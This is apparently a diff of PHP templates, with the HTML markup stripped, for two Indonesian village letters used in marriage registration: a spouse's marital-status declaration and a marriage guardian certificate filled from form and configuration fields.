Pekerjaan | +: | += $input['pekerjaan_calon_pasangan']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Pendidikan Terakhir | +: | += $input['pendidikan_calon_pasangan']; ?> | + +|||||||||||||||||||||||||||||||||||||||||||||
Alamat | +: | += $input['tempat_tinggal_calon_pasangan']; ?> | + +
Dengan ini menyatakan bahwa, Saya betul-betul pada saat ini berstatus = $input['status_kawin_calon_pasangan'] ?>, dan surat pernyataan ini dibuat guna persyaratan Pernikahan.
+ +Demikianlah surat pernyataan ini saya buat dengan sebenarnya, dalam keadaan sehat jasmani dan rohani tanpa ada paksaan dari pihak manapun. Apabila di kemudian hari menyalahi surat pernyataan ini, saya bersedia dituntut sesuai Perundang-undangan/Hukum yang berlaku dan tidak akan melibatkan aparat setempat ( Resiko Sendiri).
+ + ++ | Yang membuat pernyataan | ++ | ||||||||||||||||||||||||||||||||||||||||||||||
= $qrcode ?? '' ?> | +Materai 10.000 |
+ + | ||||||||||||||||||||||||||||||||||||||||||||||
+ | = $input['nama_calon_pasangan'] ?> | ++ |
Saksi-saksi :
+1. ........................................................................ | +( ........................................................................ ) | ++ | |||||||||||||||||||||||||||||||||||||||||||||
2. ........................................................................ | +( ........................................................................ ) | ++ |
Lampiran IX | +|||||||||
Kepdirjen Bimas Islam Nomor 473 Tahun 2020 | +|||||||||
Tentang | +|||||||||
Petunjuk Teknis Pelaksanaan Pencatatan Nikah | +|||||||||
+ + |
+ | |||||||||||||||||||||||||||||||||||||||||||||||
KANTOR DESA/KELURAHAN | +: | += strtoupper($config['nama_desa']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KECAMATAN | +: | += strtoupper($config['nama_kecamatan']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
KABUPATEN/KOTA | +: | += strtoupper($config['nama_kabupaten']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ + |
SURAT KETERANGAN WALI NIKAH
+Nomor : = $format_surat; ?> | +
Yang bertanda tangan dibawah ini, = setting('sebutan_kepala_desa') . ' ' . setting('sebutan_desa') ?> = $config['nama_desa']; ?>, Kecamatan = $config['nama_kecamatan'] ?>, Kabupaten = $config['nama_kabupaten']; ?>, menerangkan dengan sesungguhnya bahwa :
++ | ||||||||||||||||||||||||||||||||||||||||||||||||
+ | Nama lengkap dan alias | +: | += strtoupper($dataWaliNikah['nama_wali']); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Bin | +: | += $dataWaliNikah['bin_wali']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Nomor Induk Kependudukan | +: | += $dataWaliNikah['nik_wali']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Tempat dan Tanggal Lahir | +: | += $dataWaliNikah['tempatlahir_wali'] . ', ' . tgl_indo2(!empty($dataWaliNikah['tanggallahir_wali']) ? date('Y-m-d', strtotime($dataWaliNikah['tanggallahir_wali'])) : ''); ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Agama | +: | += $dataWaliNikah['agama_wali']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Pekerjaan | +: | += $dataWaliNikah['pekerjaan_wali']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Tempat tinggal terakhir | +: | += $dataWaliNikah['alamat_wali']; ?> | +|||||||||||||||||||||||||||||||||||||||||||||
+ | Keperluan | +: | +Menjadi Wali Nikah | +
+ | |||||||||||||||||||||||||||||||||||||||||||||||
+ | Pernikahan | +: | += strtoupper($dataCalonSWN['nama_wanita']); ?> | +||||||||||||||||||||||||||||||||||||||||||||
+ | Dengan | +: | += strtoupper($dataCalonSWN['nama_pria']); ?> | +||||||||||||||||||||||||||||||||||||||||||||
+ | Sebagai | +: | += $dataWaliNikah['hubungan_wali'] ?> | +
Demikianlah, surat keterangan ini dibuat dengan mengingat sumpah jabatan dan untuk dipergunakan seperlunya.
+ + ++ | = $config['nama_desa']; ?>, = tgl_indo(date('Y m d', time())) ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
+ | = setting('sebutan_kepala_desa') . ' ' . setting('sebutan_desa') ?> | ++ | |||||||||||||||||||||||||||||||||||||||||||||||||||
= $qrcode ?? '' ?> | ++ | ||||||||||||||||||||||||||||||||||||||||||||||||||||
+ | = $config['nama_kepala_desa'] ?> | ++ |